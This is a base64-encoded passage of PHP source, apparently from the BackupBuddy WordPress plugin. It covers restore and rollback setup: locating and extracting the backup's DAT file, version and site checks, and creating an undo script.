HJhY2sgc3RhcnQgYW5kIGZpbmlzaCB0aW1lcy4KCQkpOwoKCQkvLyBSZXN0b3JlLXNwZWNpZmljIGRlZmF1bHQgb3B0aW9ucy4KCQlpZiAoICdyZXN0b3JlJyA9PSAkdHlwZSApIHsKCQkJJHRoaXMtPl9zdGF0ZVsnc2tpcFVuemlwJ10gPSBmYWxzZTsKCQkJJHRoaXMtPl9zdGF0ZVsncmVzdG9yZUZpbGVzJ10gPSB0cnVlOwoJCQkkdGhpcy0+X3N0YXRlWydyZXN0b3JlRGF0YWJhc2UnXSA9IHRydWU7CgkJCSR0aGlzLT5fc3RhdGVbJ21pZ3JhdGVIdGFjY2VzcyddID0gdHJ1ZTsKCQkJJHRoaXMtPl9zdGF0ZVsndGVtcFBhdGgnXSA9IEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvdGVtcF8nIC4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydsb2dfc2VyaWFsJ10gLiAnLyc7CgkJfSBlbHNlaWYgKCAncm9sbGJhY2snID09ICR0eXBlICkgewoJCQkkdGhpcy0+X3N0YXRlWyd0ZW1wUGF0aCddID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0VGVtcERpcmVjdG9yeSgpIC4gJHRoaXMtPl9zdGF0ZVsndHlwZSddIC4gJ18nIC4gJHRoaXMtPl9zdGF0ZVsnc2VyaWFsJ10gLiAnLyc7CgkJfQoKCQlpZiAoIGlzX2FycmF5KCAkZXhpc3Rpbmdfc3RhdGUgKSApIHsgLy8gVXNlciBwYXNzZWQgYWxvbmcgYW4gZXhpc3Rpbmcgc3RhdGUgdG8gcmVzdW1lLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdVc2luZyBwcm92aWRlZCByZXN0b3JlIHN0YXRlIGRhdGEuJyApOwoJCQkkdGhpcy0+X3N0YXRlID0gJHRoaXMtPl9hcnJheV9yZXBsYWNlX3JlY3Vyc2l2ZSggJHRoaXMtPl9zdGF0ZSwgJGV4aXN0aW5nX3N0YXRlICk7CgkJfQoKCQkvLyBBbGxvdyBhYmlsaXR5IHRvIEZvcmNlIERCIG92ZXIgU1NMCgkJaWYgKCAhIGVtcHR5KCAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2RiX2ZvcmNlX3NzbCddICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NldHRpbmcgZmxhZyB0byBjb25uZWN0IHRvIE15U1FMIHZpYSBTU0wuJyApOwoJCQlkZWZpbmUoICdNWVNRTF9DTElFTlRfRkxBR1MnLCBNWVNRTF9DTElFTlRfU1NMICk7CgkJfQoKCQkvLyBDaGVjayBpZiBhIGRlZmF1bHQgc3RhdGUgb3ZlcnJpZGUgZXhpc3RzLiAgVXNlZCBieSBhdXRvbWF0ZWQgcmVzdG9yaW5nLgoJCS8qCgkJaWYgKCBpc3NldCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydkZWZhdWx0X3N0YXRlX292ZXJyaWRlcyddICkgJiYgKCBjb3VudCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydkZWZhdWx0X3N0YXRlX292ZXJyaWRlcyddICkgPiAwICkgKSB7IC8vIERlZmF1bHQgc3RhdGUgb3ZlcnJpZGVzIGV4aXN0LiBBcHBseSB0aGVtLgoJCQkkdGhpcy0+X3N0YXRlID0gYXJyYXlfbWVyZ2UoICR0aGlzLT5fc3RhdGUsIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZGVmYXVsdF9zdGF0ZV9vdmVycmlkZXMnXSApOwoJCX0KCQkqLwoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdSZXN0b3JlIGNsYXNzIGNvbnN0cnVjdGVkIGluIGAnIC4gJHR5cGUgLiAnYCBtb2RlLicgKTsKCgkJcGJfYmFja3VwYnVkZHk6OnNldF9ncmVlZHlfc2NyaXB0X2xpbWl0cygpOyAvLyBKdXN0IGFsd2F5cyBhc3N1bWUgd2UgbmVlZCB0aGlzIGR1cmluZyByZXN0b3Jlcy9yb2xsYmFjay4uLgoJfSAvLyBFbmQgX19jb25zdHJ1Y3QoKS4KCgoJLyogc3RhcnQoKQoJICoKCSAqIFJPTExCQUNLLCBSRVNUT1JFCgkgKiBSZXR1cm5zIGZhbHNlIG9uIGZhaWx1cmUuIFVzZSBnZXRFcnJvcnMoKSB0byBnZXQgYW4gYXJyYXkgb2YgZXJyb3JzIGVuY291bnRlcmVkIGlmIGFueS4KCSAqIFJldHVybnMgYW4gYXJyYXkgb2YgaW5mb3JtYXRpb24gb24gc3VjY2Vzcy4KCSAqIEdyYWIgdGhlIHJvbGxiYWNrIHN0YXRlIGRhdGEgd2l0aCBnZXRTdGF0ZSgpLgoJICoKCSAqIEByZXR1cm4JYm9vbAkJdHJ1ZSBvbiBzdWNjZXNzLCBlbHNlIGZhbHNlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gc3RhcnQoICRiYWNrdXBGaWxlLCAkc2tpcFVuemlwID0gZmFsc2UgKSB7CgkJJHRoaXMtPl9iZWZvcmUoIF9fRlVOQ1RJT05fXyApOwoKCQkkdGhpcy0+X3N0YXRlWydhcmNoaXZlJ10gPSAkYmFja3VwRmlsZTsKCQkkc2VyaWFsID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0X3NlcmlhbF9mcm9tX2ZpbGUoIGJhc2VuYW1lKCAkYmFja3VwRmlsZSApICk7CgkJJHRoaXMtPl9zdGF0ZVsnc2VyaWFsJ10gPSAkc2VyaWFsOwoJCXVuc2V0KCAkc2VyaWFsICk7CgoJCWlmICggISBmaWxlX2V4aXN0cyggJGJhY2t1cEZpbGUgKSApIHsKCQkJcmV0dXJuICR0aGlzLT5fZXJyb3IoICdFcnJvciAjODQ5ODM5NDM0OTogVW5hYmxlIHRvIGFjY2VzcyBiYWNrdXAgZmlsZSBgJyAuICRiYWNrdXBGaWxlIC4gJ2AuIFZlcmlmeSBpdCBzdGlsbCBleGlzdHMgYW5kIGhhcyBwcm9wZXIgcmVhZCBwZXJtaXNzaW9ucy4nICk7CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnU3BlY2lmaWVkIGJhY2t1cCBmaWxlIGV4aXN0czogYCcgLiAkYmFja3VwRmlsZSAuICdgLicgKTsKCQl9CgoJCXVuc2V0KCAkYmFja3VwRmlsZSApOwoKCQlpZiAoIEBmaWxlX2V4aXN0cyggQUJTUEFUSCAuICdpbXBvcnRidWRkeS8nICkgKSB7CgkJCUB1bmxpbmsoIEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvJyApOwoJCX0KCgkJaWYgKCBwYl9pc19zdGFuZGFsb25lKCkgKSB7CgkJCSRteXNxbF85MDEwX2xvZyA9IEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvbXlzcWxfOTAxMF9sb2ctJyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbG9nX3NlcmlhbCddIC4gJy50eHQnOwoJCQlpZiAoIGZpbGVfZXhpc3RzKCAkbXlzcWxfOTAxMF9sb2cgKSApIHsKCQkJCUB1bmxpbmsoICRteXNxbF85MDEwX2xvZyApOwoJCQl9CgkJfQoKCQlpZiAoIHRydWUgIT09ICRza2lwVW56aXAgKSB7CgkJCS8vIEdldCB6aXAgbWV0YSBpbmZvcm1hdGlvbi4KCQkJJGN1c3RvbVRpdGxlID0gJ0JhY2t1cCBEZXRhaWxzJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQXR0ZW1wdGluZyB0byByZXRyaWV2ZSB6aXAgbWV0YSBkYXRhIGZyb20gY29tbWVudC4nICk7CgkJCSRtZXRhSW5mbyA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldFppcE1ldGEoICR0aGlzLT5fc3RhdGVbJ2FyY2hpdmUnXSApOwoJCQlpZiAoIGZhbHNlICE9PSAkbWV0YUluZm8gKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGb3VuZCB6aXAgbWV0YSBkYXRhLicgKTsKCQkJfSBlbHNlIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RpZCBub3QgZmluZCB6aXAgbWV0YSBkYXRhLicgKTsKCQkJfQoKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9hZGluZyB6aXBidWRkeS4nICk7CgkJCXJlcXVpcmVfb25jZSggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi96aXBidWRkeS96aXBidWRkeS5waHAnICk7CgoJCQkkemlwYnVkZHkgPSBuZXcgcGx1Z2luYnVkZHlfemlwYnVkZHkoIGRpcm5hbWUoICR0aGlzLT5fc3RhdGVbJ2FyY2hpdmUnXSApICk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1ppcGJ1ZGR5IGxvYWRlZC4nICk7CgkJfQoJCSR6aXBfZGlyX3ByZWZpeCA9IHN0cl9yZXBsYWNlKCAnLnppcCcsICcnLCBiYXNlbmFtZSggJHRoaXMtPl9zdGF0ZVsnYXJjaGl2ZSddICkgKSAuICcvd3AtY29udGVudC91cGxvYWRzL2JhY2t1cGJ1ZGR5X3RlbXAvJyAuICR0aGlzLT5fc3RhdGVbJ3NlcmlhbCddOwoKCQkvLyBGaW5kIERBVCBmaWxlLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NhbGN1bGF0aW5nIHBvc3NpYmxlIERBVCBmaWxlIGxvY2F0aW9ucy4nICk7CgkJJGRldGVjdGVkRGF0TG9jYXRpb24gPSAnJzsKCQkkcG9zc2libGVEYXRMb2NhdGlvbnMgPSBhcnJheSgpOwoJCWlmICggaXNzZXQoICRtZXRhSW5mb1snZGF0X3BhdGgnXSApICkgewoJCQkkcG9zc2libGVEYXRMb2NhdGlvbnNbXSA9ICRtZXRhSW5mb1snZGF0X3BhdGgnXVsxXTsgLy8gREFUIGZpbGUgbG9jYXRpb24gZW5jb2RlZCBpbiBtZXRhIGluZm8uIFNob3VsZCBhbHdheXMgYmUgdmFsaWQuCgkJfQoKCQkvLyBQb3NzaWJsZSBEQVQgZmlsZSBsb2NhdGlvbnMuCgkJJHBvc3NpYmxlRGF0TG9jYXRpb25zW10gPSAnd3AtY29udGVudC91cGxvYWRzL2JhY2t1cGJ1ZGR5X3RlbXAvJyAuICR0aGlzLT5fc3RhdGVbJ3NlcmlhbCddIC4gJy9iYWNrdXBidWRkeV9kYXQucGhwJzsgLy8gRnVsbCBiYWNrdXAuCgkJJHBvc3NpYmxlRGF0TG9jYXRpb25zW10gPSAnYmFja3VwYnVkZHlfZGF0LnBocCc7IC8vIERCIGJhY2t1cC4gKGxvb2sgZm9yIHRoaXMgc2Vjb25kIGluIGNhc2UgdXNlciBsZWZ0IGFuIG9sZCBkYXQgZmlsZSBpbiByb290KS4KCQkkcG9zc2libGVEYXRMb2NhdGlvbnNbXSA9ICR6aXBfZGlyX3ByZWZpeCAuICcvYmFja3VwYnVkZHlfZGF0LnBocCc7IC8vIEZ1bGwgYmFja3VwIGJ1dCBpbnNpZGUgYSBzdWJkaXJlY3RvcnkuIENvbW1vbiBpZiB1c2VyIHJlLXppcHBlZCB0aGUgZGlyZWN0b3J5IGFmdGVyIHVuemlwcGluZy4KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUG9zc2libGUgREFUIGZpbGUgbG9jYXRpb25zOiBgJyAuIGltcGxvZGUoICc7JywgJHBvc3NpYmxlRGF0TG9jYXRpb25zICkgLiAnYC4nICk7CgkJJHBvc3NpYmxlRGF0TG9jYXRpb25zID0gYXJyYXlfdW5pcXVlKCAkcG9zc2libGVEYXRMb2NhdGlvbnMgKTsKCQlpZiAoIHRydWUgPT09ICRza2lwVW56aXAgKSB7IC8vIE9ubHkgbG9vayBmb3IgREFUIGZpbGUgaW4gZmlsZXN5c3RlbS4gWmlwIHNob3VsZCBiZSBwcmUtZXh0cmFjdGVkLCBlZyBieSB0aGUgdXNlciBtYW51YWxseS4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9va2luZyBmb3IgREFUIGZpbGUgaW4gbG9jYWwgZmlsZXN5c3RlbSAoaW5zdGVhZCBvZiBpbiB6aXApIHNpbmNlIGFkdmFuY2VkIHNraXAgdW56aXAgb3B0aW9uIHNldC4nICk7CgkJCWZvcmVhY2ggKCAkcG9zc2libGVEYXRMb2NhdGlvbnMgYXMgJHBvc3NpYmxlRGF0TG9jYXRpb24gKSB7IC8vIExvb2sgZm9yIERBVCBmaWxlIGluIGZpbGVzeXN0ZW0uCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEb2VzIGAnIC4gQUJTUEFUSCAuICRwb3NzaWJsZURhdExvY2F0aW9uIC4gJ2AgZXhpc3Q/JyApOwoJCQkJaWYgKCB0cnVlID09PSBmaWxlX2V4aXN0cyggQUJTUEFUSCAuICRwb3NzaWJsZURhdExvY2F0aW9uICkgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnWWVzLCBleGlzdHMuJyApOwoJCQkJCSRkZXRlY3RlZERhdExvY2F0aW9uID0gJHBvc3NpYmxlRGF0TG9jYXRpb247CgkJCQkJYnJlYWs7CgkJCQl9IGVsc2UgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ05vLCBkb2VzIG5vdCBleGlzdC4nICk7CgkJCQl9CgkJCX0KCQkJaWYgKCAnJyA9PSAkZGV0ZWN0ZWREYXRMb2NhdGlvbiApIHsKCQkJCSRtZXNzYWdlID0gJ1VuYWJsZSB0byBmaW5kIHRoZSBEQVQgZmlsZSBmb3IgdGhpcyBiYWNrdXAgYXJjaGl2ZSBwcmUtZXh0cmFjdGVkIGluIHRoZSBmaWxlc3lzdGVtLiBNYWtlIHN1cmUgeW91IGhhdmUgYWxyZWFkeSB1bnppcHBlZCB0aGlzIGJhY2t1cCBpbnRvIHRoZSBzYW1lIGRpcmVjdG9yeSBhcyBpbXBvcnRidWRkeS5waHAuJzsKCQkJCXJldHVybiAkdGhpcy0+X2Vycm9yKCAkbWVzc2FnZSApOwoJCQl9CgkJfSBlbHNlIHsgLy8gTG9vayBmb3IgREFUIGZpbGUgaW5zaWRlIG9mIHppcCBhcmNoaXZlLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdMb29raW5nIGZvciBEQVQgZmlsZSBpbiB6aXAgYXJjaGl2ZSBpdHNlbGYuJyApOwoJCQlmb3JlYWNoICggJHBvc3NpYmxlRGF0TG9jYXRpb25zIGFzICRwb3NzaWJsZURhdExvY2F0aW9uICkgeyAvLyBMb29rIGZvciBEQVQgZmlsZSBpbiB6aXAuCgkJCQlpZiAoIHRydWUgPT09ICR6aXBidWRkeS0+ZmlsZV9leGlzdHMoICR0aGlzLT5fc3RhdGVbJ2FyY2hpdmUnXSwgJHBvc3NpYmxlRGF0TG9jYXRpb24sIHRydWUgKSApIHsKCQkJCQkkZGV0ZWN0ZWREYXRMb2NhdGlvbiA9ICRwb3NzaWJsZURhdExvY2F0aW9uOwoJCQkJCWJyZWFrOwoJCQkJfQoJCQl9IC8vIGVuZCBmb3JlYWNoLgoJCX0KCQlpZiAoICcnID09ICRkZXRlY3RlZERhdExvY2F0aW9uICkgewoJCQlyZXR1cm4gJHRoaXMtPl9lcnJvciggJ0Vycm9yICM4OTQzNzk4NDM6IFVuYWJsZSB0byBkZXRlcm1pbmUgREFUIGZpbGUgbG9jYXRpb24gaW4gYmFja3VwIGZpbGUuIEl0IG1heSBiZSBtaXNzaW5nIE9SIHRoZSBiYWNrdXAgemlwIGZpbGUgbWF5IGJlIGluY29tcGxldGUgb3IgY29ycnVwdGVkLiBWZXJpZnkgdGhlIGJhY2t1cCB6aXAgaGFzIGZ1bGx5IHVwbG9hZGVkIG9yIHJlLXVwbG9hZCBpdC4gWW91IGNhbiB0cnkgbWFudWFsbHkgdW56aXBwaW5nIHRoZW4gc2VsZWN0aW5nIHRoZSBhZHZhbmNlZCBvcHRpb24gdG8gc2tpcCB1bnppcC4nICk7CgkJfQoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NvbmZpcm1lZCBEQVQgZmlsZSBsb2NhdGlvbjogYCcgLiAkZGV0ZWN0ZWREYXRMb2NhdGlvbiAuICdgLicgKTsKCQkkdGhpcy0+X3N0YXRlWydkYXRMb2NhdGlvbiddID0gJGRldGVjdGVkRGF0TG9jYXRpb247CgoJCWlmICggJHppcF9kaXJfcHJlZml4ID09IHN1YnN0ciggJHRoaXMtPl9zdGF0ZVsnZGF0TG9jYXRpb24nXSwgMCwgc3RybGVuKCAkemlwX2Rpcl9wcmVmaXggKSApICkgewoJCQlyZXR1cm4gJHRoaXMtPl9lcnJvciggJ0Vycm9yICM0ODM5NDM4OTQ6IERBVCBmaWxlIHdhcyBkZXRlY3RlZCBidXQgaW4gYW4gaW52YWxpZCBsb2NhdGlvbi4gSXQgYXBwZWFycyB0byBiZSBjb250YWluZWQgd2l0aGluIGEgc3ViZGlyZWN0b3J5IG1hdGNoaW5nIHRoZSB6aXAgZmlsZW5hbWUuIElmIHlvdSB1bnppcHBlZCB0aGVuIHJlLXppcHBlZCB0aGlzIGNvdWxkIGhhdmUgY2F1c2VkIHRoZSBjb250ZW50cyB0byBiZSBjb250YWluZWQgaW4gYSBzdWJkaXJlY3RvcnkgaW5zdGVhZCBvZiB0aGUgcm9vdCBhcyBleHBlY3RlZC4gVG8gYXZvaWQgdGhpcyB6aXAgdGhlIGZpbGVzIGFuZCBOT1QgdGhlIGRpcmVjdG9yeSBjb250YWluaW5nIHRoZSBmaWxlcy4nICk7CgkJfQoKCQl1bnNldCggJG1ldGFJbmZvICk7IC8vIE5vIGxvbmdlciBuZWVkIGFueXRoaW5nIGZyb20gdGhlIG1ldGEgaW5mb3JtYXRpb24uCgoJCWlmICggdHJ1ZSAhPT0gJHNraXBVbnppcCApIHsKCQkJZnVuY3Rpb24gbWtkaXJfcmVjdXJzaXZlKCAkcGF0aCApIHsKCQkJCWlmICggZW1wdHkoICRwYXRoICkgKSB7IC8vIHByZXZlbnQgaW5maW5pdGUgbG9vcCBvbiBiYWQgcGF0aAoJCQkJCXJldHVybjsKCQkJCX0KCQkJCWlzX2RpciggZGlybmFtZSggJHBhdGggKSApIHx8IG1rZGlyX3JlY3Vyc2l2ZSggZGlybmFtZSggJHBhdGggKSApOwoJCQkJcmV0dXJuIGlzX2RpciggJHBhdGggKSB8fCBta2RpciggJHBhdGggKTsKCQkJfQoKCQkJLy8gTG9hZCBEQVQgZmlsZSBjb250ZW50cy4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ3JlYXRpbmcgdGVtcG9yYXJ5IGZpbGUgZGlyZWN0b3J5IGAnIC4gJHRoaXMtPl9zdGF0ZVsndGVtcFBhdGgnXSAuICdgLicgKTsKCQkJcGJfYmFja3VwYnVkZHk6OiRmaWxlc3lzdGVtLT51bmxpbmtfcmVjdXJzaXZlKCAkdGhpcy0+X3N0YXRlWyd0ZW1wUGF0aCddICk7IC8vIFJlbW92ZSBpZiBhbHJlYWR5IGV4aXN0cy4KCQkJbWtkaXJfcmVjdXJzaXZlKCAkdGhpcy0+X3N0YXRlWyd0ZW1wUGF0aCddICk7IC8vIE1ha2UgZW1wdHkgZGlyZWN0b3J5LgoKCQkJLy8gUmVzdG9yZSBEQVQgZmlsZS4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRXh0cmFjdGluZyBEQVQgZmlsZS4nICk7CgkJCSRmaWxlcyA9IGFycmF5KAoJCQkJJGRldGVjdGVkRGF0TG9jYXRpb24gPT4gJ2JhY2t1cGJ1ZGR5X2RhdC5waHAnLAoJCQkpOwoJCQlyZXF1aXJlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvY2xhc3Nlcy9fcmVzdG9yZUZpbGVzLnBocCcgKTsKCQkJJHJlc3VsdCA9IGJhY2t1cGJ1ZGR5X3Jlc3RvcmVfZmlsZXM6OnJlc3RvcmUoICR0aGlzLT5fc3RhdGVbJ2FyY2hpdmUnXSwgJGZpbGVzLCAkdGhpcy0+X3N0YXRlWyd0ZW1wUGF0aCddLCAkemlwYnVkZHkgKTsKCQkJZWNobyAnPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmpRdWVyeSgiI3BiX2JhY2t1cGJ1ZGR5X3dvcmtpbmciKS5oaWRlKCk7PC9zY3JpcHQ+JzsKCQkJcGJfYmFja3VwYnVkZHk6OmZsdXNoKCk7CgkJCWlmICggZmFsc2UgPT09ICRyZXN1bHQgKSB7CgkJCQkkdGhpcy0+X2Vycm9yKCAnRXJyb3IgIzg1NDg0OiBVbmFibGUgdG8gcmV0cmlldmUgREFUIGZpbGUuIFRoaXMgaXMgYSBmYXRhbCBlcnJvci4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCgkJCSRkYXRGaWxlID0gJHRoaXMtPl9zdGF0ZVsndGVtcFBhdGgnXSAuICdiYWNrdXBidWRkeV9kYXQucGhwJzsKCQl9IGVsc2UgewoJCQkkZGF0RmlsZSA9ICR0aGlzLT5fc3RhdGVbJ2RhdExvY2F0aW9uJ107CgkJfQoKCQlpZiAoIGZhbHNlID09PSAoICRkYXREYXRhID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0X2RhdF9maWxlX2FycmF5KCAkZGF0RmlsZSApICkgKSB7CgkJCSR0aGlzLT5fZXJyb3IoICdFcnJvciAjNDgzOTQ4NDogVW5hYmxlIHRvIHJldHJpZXZlIERBVCBmaWxlLiBUaGUgYmFja3VwIG1heSBoYXZlIGZhaWxlZCBvcGVuaW5nIGR1ZSB0byBsYWNrIG9mIG1lbW9yeSwgcGVybWlzc2lvbnMgaXNzdWVzLCBvciBvdGhlciByZWFzb24uIFVzZSBJbXBvcnRCdWRkeSB0byByZXN0b3JlIG9yIGNoZWNrIHRoZSBBZHZhbmNlZCBMb2cgYWJvdmUgZm9yIGRldGFpbHMuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCSR0aGlzLT5fc3RhdGVbJ2RhdCddID0gJGRhdERhdGE7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnREFUIGZpbGUgZXh0cmFjdGVkLicgKTsKCgkJaWYgKCBwYl9pc19zdGFuZGFsb25lKCkgKSB7CgkJCSRzaW1wbGVWZXJzaW9uID0gc3Vic3RyKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2JiX3ZlcnNpb24nXSwgMCwgc3RycG9zKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2JiX3ZlcnNpb24nXSwgJyAnICkgKTsKCQkJaWYgKCBpc3NldCggJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ2JhY2t1cGJ1ZGR5X3ZlcnNpb24nXSApICYmICggdmVyc2lvbl9jb21wYXJlKCAkdGhpcy0+X3N0YXRlWydkYXQnXVsnYmFja3VwYnVkZHlfdmVyc2lvbiddLCAkc2ltcGxlVmVyc2lvbiwgJz4nICkgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdXYXJuaW5nOiBZb3UgYXJlIGF0dGVtcHRpbmcgdG8gcmVzdG9yZSBhbiBhcmNoaXZlIHdoaWNoIHdhcyBjcmVhdGVkIHdpdGggYSBuZXdlciB2ZXJzaW9uIG9mIEJhY2t1cEJ1ZGR5ICgnIC4gJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ2JhY2t1cGJ1ZGR5X3ZlcnNpb24nXSAuICcpIHRoYW4gdGhpcyBJbXBvcnRCdWRkeSAoJyAuICRzaW1wbGVWZXJzaW9uIC4gJykuIEZvciBiZXN0IHJlc3VsdHMgdXNlIGFuIEltcG9ydEJ1ZGR5IHRoYXQgaXMgYXMgbGVhc3QgYXMgdXAgdG8gZGF0ZSBhcyB0aGUgQmFja3VwQnVkZHkgd2hpY2ggY3JlYXRlZCB0aGUgYXJjaGl2ZS4nICk7CgkJCX0KCQl9CgoJCWlmICggJ3JvbGxiYWNrJyA9PSAkdGhpcy0+X3N0YXRlWyd0eXBlJ10gKSB7CgkJCSR0aGlzX3NpdGV1cmwgPSBzdHJfcmVwbGFjZSggJ2h0dHBzOi8vJywgJ2h0dHA6Ly8nLCBzaXRlX3VybCgpICk7CgkJCSR0aGlzX3NpdGV1cmxkYXQgPSBzdHJfcmVwbGFjZSggJ2h0dHBzOi8vJywgJ2h0dHA6Ly8nLCAkdGhpcy0+X3N0YXRlWydkYXQnXVsnc2l0ZXVybCddICk7CgkJCWlmICggJHRoaXNfc2l0ZXVybCAhPSAkdGhpc19zaXRldXJsZGF0ICkgewoJCQkJJHRoaXMtPl9lcnJvciggX18oICdFcnJvciAjNTg0OTg0MzogU2l0ZSBVUkwgZG9lcyBub3QgbWF0Y2guIEN1cnJlbnQgU2l0ZSBVUkw6IGAnIC4gc2l0ZV91cmwoKSAuICdgLiBTaXRlIFVSTCBpbiBiYWNrdXA6IGAnIC4gJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ3NpdGV1cmwnXSAuICdgLiBZb3UgY2Fubm90IHJvbGwgYmFjayB0aGUgZGF0YWJhc2UgaWYgdGhlIFVSTCBoYXMgY2hhbmdlZCBvciBmb3IgYmFja3VwcyBvciBhbm90aGVyIHNpdGUuIFVzZSBpbXBvcnRidWRkeS5waHAgdG8gcmVzdG9yZSBvciBtaWdyYXRlIGluc3RlYWQuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoKCQkJZ2xvYmFsICR3cGRiOwoJCQlpZiAoICR0aGlzLT5fc3RhdGVbJ2RhdCddWydkYl9wcmVmaXgnXSAhPSAkd3BkYi0+cHJlZml4ICkgewoJCQkJJHRoaXMtPl9lcnJvciggX18oICdFcnJvciAjMjM4OTM5NDogRGF0YWJhc2UgcHJlZml4IGRvZXMgbm90IG1hdGNoLiBZb3UgY2Fubm90IHJvbGwgYmFjayB0aGUgZGF0YWJhc2UgaWYgdGhlIGRhdGFiYXNlIHByZWZpeCBoYXMgY2hhbmdlZCBvciBmb3IgYmFja3VwcyBvciBhbm90aGVyIHNpdGUuIFVzZSBpbXBvcnRidWRkeS5waHAgdG8gcmVzdG9yZSBvciBtaWdyYXRlIGluc3RlYWQuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoKCQkJcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydyb2xsYmFja19jbGVhbnVwcyddWyAkdGhpcy0+X3N0YXRlWydzZXJpYWwnXSBdID0gdGltZSgpOwoJCQlwYl9iYWNrdXBidWRkeTo6c2F2ZSgpOwoKCQkJLy8gR2VuZXJhdGUgVU5ETyBzY3JpcHQuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0dlbmVyYXRpbmcgdW5kbyBzY3JpcHQuJyApOwoJCQkkdGhpcy0+X3N0YXRlWyd1bmRvRmlsZSddID0gJ2JhY2t1cGJ1ZGR5X3JvbGxiYWNrX3VuZG8tJyAuICR0aGlzLT5fc3RhdGVbJ3NlcmlhbCddIC4gJy5waHAnOwoJCQkkdW5kb1VSTCA9IHJ0cmltKCBzaXRlX3VybCgpLCAnL1xcJyApIC4gJy8nIC4gJHRoaXMtPl9zdGF0ZVsndW5kb0ZpbGUnXTsKCQkJJHVuZG9fc291cmNlID0gZGlybmFtZSggX19GSUxFX18gKSAuICcvX3JvbGxiYWNrX3VuZG8ucGhwJzsKCQkJJHVuZG9fZGVzdCA9IEFCU1BBVEggLiAkdGhpcy0+X3N0YXRlWyd1bmRvRmlsZSddOwoJCQlpZiAoIGZhbHNlID09PSBjb3B5KCAkdW5kb19zb3VyY2UsICR1bmRvX2Rlc3QgKSApIHsKCQkJCSR0aGlzLT5fZXJyb3IoICdXYXJuaW5nOiBVbmFibGUgdG8gY3JlYXRlIHVuZG8gc2NyaXB0IGluIHNpdGUgcm9vdC4gWW91IHdpbGwgbm90IGJlIGFibGUgdG8gYXV0b21hdGVkIHVuZG9pbmcgdGhlIHJvbGxiYWNrIGlmIHNvbWV0aGluZyBmYWlscyBzbyBCYWNrdXBCdWRkeSB3aWxsIG5vdCBjb250aW51ZS4gVHJpZWQgdG8gY29weSBmaWxlIGAnIC4gJHVuZG9fc291cmNlIC4gJ2AgdG8gYCcgLiAkdW5kb19kZXN0IC4gJ2AuJyApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJCSR0aGlzLT5fc3RhdGVbJ3VuZG9VUkwnXSA9ICR1bmRvVVJMOwoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmluaXNoZWQgc3RhcnRpbmcgZnVuY3Rpb24u